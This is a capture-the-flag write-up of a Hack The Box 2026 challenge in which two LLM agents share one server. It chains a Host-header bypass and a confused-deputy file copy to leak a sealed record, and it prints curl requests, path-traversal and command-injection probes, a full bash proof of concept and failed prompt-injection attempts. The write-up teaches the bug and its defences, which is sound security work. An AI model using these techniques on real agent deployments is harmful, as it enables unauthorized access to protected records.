Crownspire Petitions
Chained an unauthenticated internal A2A agent's file-archive primitive into the public agent's read path to leak a sealed case as an ordinary petition.
Crownspire Petitions — Cyber Apocalypse 2026
| | |
|---|---|
| Platform | Hack The Box — Cyber Apocalypse CTF 2026 ("The Salt Crown") |
| Category | AI / ML |
| Difficulty | Medium (975 pts) |
| Key techniques | A2A agent-card enumeration, vhost-routed access control bypass, confused deputy across two agents, write-primitive → read-primitive chain |
| Date | 25 July 2026 |
> Cyber Apocalypse 2026 has concluded — flag included below.
---
TL;DR
Two LLM agents share one HTTP socket, separated only by the Host header. The public Docket Agent can read petition records; the internal Casework Agent can copy a sealed case to a filesystem path. Neither can do both — but the destination allow-list includes the very directory Docket reads from. Archiving the sealed case into the petition store under a valid petition reference makes Docket serve it as a normal petition, flag included.
Root cause: broken access control (authorization enforced in the web UI, not at the agents) plus a confused deputy between two agents that trust each other's namespace.
---
Recon
The challenge gives a Subject Number (SN-2140-6698) and one host:port. A2A agents are self-describing, so the first move is the agent card rather than the chat interface.
$ curl -si -H 'Host: docket.crownspire-petitions.htb' \
http://TARGET/.well-known/agent.json | head -3
HTTP/1.1 404 Not Found
agent.json is the older spec path. The current one works:
$ curl -s -H 'Host: docket.crownspire-petitions.htb' \
http://TARGET/.well-known/agent-card.json | jq
{
"name": "Docket Agent",
"skills": [ { "id": "petitions", ... } ],
"securitySchemes": {},
"securityRequirements": []
}
One skill: file a petition, look up a petition by id. JSON-RPC 1.0, POST to /, plain text in and out, and no auth requirements.
Reading the seeded petitions is the cheapest source of intel. PET-1000 leaks a second Subject Number in its body:
- Title: QA onboarding — intake smoke test (do not action)
- Body: [...] My onboarding Subject Number is SN-7731-0425 (QA role).
Signing in to the portal with that SN reveals a second agent in the developer docs — dev-a1f4c39b.crownspire-petitions.htb, described as the internal warden pipeline.
Foothold — the internal agent needs no credentials
The eight hex characters in the hostname look like a secret. They aren't a control. The same socket serves the internal agent to anyone who asks for it by name:
$ curl -s -H 'Host: dev-a1f4c39b.crownspire-petitions.htb' \
http://TARGET/.well-known/agent-card.json | jq '.name, .securitySchemes'
"Casework Agent"
{}
securitySchemes: {} on an agent whose own description says "for authorized wardens". The portal's /api/session resolves an SN to a role and decides which agent links to render — that is UI gating, not access control. Pointing a client at the vhost directly skips it entirely:
you> list all cases
1. CASE-SEAL0001 SEALED SEALED — Attainder Roll
2. CASE-PET7F3A1 PENDING Grain levy remission — Ashfen ward
3. CASE-PET2C9D4 PENDING Right-of-way dispute — Irongate causeway
The target is visible. Its contents are not — list_cases returns only id, status and label.
The chain — write with one agent, read with the other
Mapping the two tool sets side by side is what makes the path obvious:
| Agent | Can do | Cannot do |
|---|---|---|
| Docket | read a petition body by reference | see cases |
| Casework | list cases, approve, reject, archive to a path | read case contents |
Casework describes archive as a file copy, and rejecting a bad destination makes it enumerate its own allow-list:
you> Archive case CASE-SEAL0001 to /etc/shadow
agent> The destination path is not permitted. You can archive the case to one of
the following locations: the petitions store, /var/drop, /tmp, or the
cases archive.
The petitions store is on that list — the directory the other agent reads from. An archive primitive whose allow-list includes the reader's own storage is the whole vulnerability.
The remaining question was the filename format. Docket's lookup turned out to be filesystem-flavoured: passing it a path made it reply about the basename only (/var/drop/seal2.txt → "no petition found for reference seal2.txt"). So the reference maps to a filename in the store, with no extension appended. Two variants work — extensionless, or reference-with-extension:
Archive to /opt/petitions/PET-2000 → Look up petition PET-2000 ✅
Archive to /opt/petitions/PET-2001.json → Look up petition PET-2001.json ✅
Archive to /opt/petitions/PET-2002.txt → Look up petition PET-2002 ❌
Result:
you> Look up petition PET-2000
agent> Here are the details for petition PET-2000:
- ID: CASE-SEAL0001
- Title: SEALED — Attainder Roll (Bureau of Petitions, House Vaultrune)
- Body: By order of House Vaultrune: The seizure of the riverside granaries is
to be recorded as a 'temporary quarantine.' [...] HTB{w3lc0m3_t0_a2a_pr0t0c0l_t4g_t34m_pwn4g3}
- Status: SEALED
Docket serves the sealed case as an ordinary petition because, as far as it is concerned, a file with that reference exists in its store.
PoC
#!/usr/bin/env bash
# Crownspire Petitions — sealed record disclosure
# usage: ./poc.sh 10.0.0.1:31337
set -euo pipefail
IP="$1"
DOCKET="docket.crownspire-petitions.htb"
CASEWORK="dev-a1f4c39b.crownspire-petitions.htb"
CASE="CASE-SEAL0001"
REF="PET-2000"
say() { # $1 = vhost, $2 = message
jq -n --arg t "$2" '{jsonrpc:"2.0",id:1,method:"message/send",
params:{message:{role:"user",messageId:"poc",
parts:[{kind:"text",text:$t}]}}}' \
| curl -s -X POST "http://$IP/" \
-H "Host: $1" -H 'Content-Type: application/json' -d @- \
| jq -r '.result.parts[]?.text'
}
echo "[*] no credentials used — internal agent is reachable by Host header alone"
say "$CASEWORK" "List all cases."
sleep 6 # server enforces 1 AI request / 5s
echo "[*] copying sealed case into the petition store as $REF"
say "$CASEWORK" "Archive case $CASE to /opt/petitions/$REF"
sleep 6
echo "[*] reading it back through the public agent"
say "$DOCKET" "Look up petition $REF" | tee /dev/stderr | grep -o 'HTB{[^}]*}'
Dead ends (and what they ruled out)
Worth recording, because each one narrowed the surface:
- Prompt injection, both channels. A payload in a petition body survives storage if you tell the agent to store it "exactly as written" (otherwise the model paraphrases it away), and a payload in the title propagates into Casework's case list. Both models recite injected instructions as inert text and never act on them. The petition text reaching a privileged agent's context looked like the intended path; it wasn't.
- Status manipulation.
approve/rejectchange state and, per the agent, move the case file — but never publish a body, and never affect the matching petition. - Path traversal. Both parameters are validated after normalization:
/tmp/../etc/xandCASE-SEAL0001/../../../etc/passwdare both rejected.CASE-SEAL0001/../CASE-SEAL0001resolves and succeeds, which is the tell that paths are canonicalized before the check. - Command injection. Metacharacters never reach a shell — the LLM extracts a single path argument out of prose, so
; idis simply dropped as a separate request. - SQLi on the lookup key, low/high reference enumeration, protocol methods (
tasks/listabsent,tasks/getpresent but no task ids are ever minted, streaming unsupported), forgedrole: "agent"messages, and serving the written files over HTTP — all negative.
The lesson from the dead ends: because the box is in the AI/ML category it is tempting to spend every request on the models. The models were the only part that was solid. The bug was in the plumbing around them.
Lessons & defenses
- Authorize at the resource, not in the renderer.
/api/sessiondecided which agents to display. The agents themselves accepted anyone. Every agent needs to verify the caller's standing on every call. - An unguessable hostname is not a credential.
dev-a1f4c39bis security by obscurity; it survives exactly until it appears in a page, a bundle, or someone's notes. - Never allow a write primitive to target another component's trusted storage. The destination allow-list validated traversal carefully and then permitted the one directory that mattered. Allow-list the paths a component owns, and nothing else.
- Treat data crossing agent boundaries as untrusted. Ids minted by one agent were accepted verbatim as filenames by another. Re-validate at each hop, and namespace records so a case can never be mistaken for a petition.
- Sensitive records need enforcement, not a status label.
SEALEDwas metadata. The body sat in a file that any component with a copy primitive could relocate.
Tools used
curl— agent-card discovery and all JSON-RPC trafficjq— building request payloads and parsing responses- ~20-line Python A2A client — interactive chat with
contextIdcontinuity, one instance per vhost - Termux (Android) for the early session, WSL for the rest
Something wrong with this page?
Wrong details, a stolen writeup, or something that should not be published here — tell a moderator. This does not go to the author.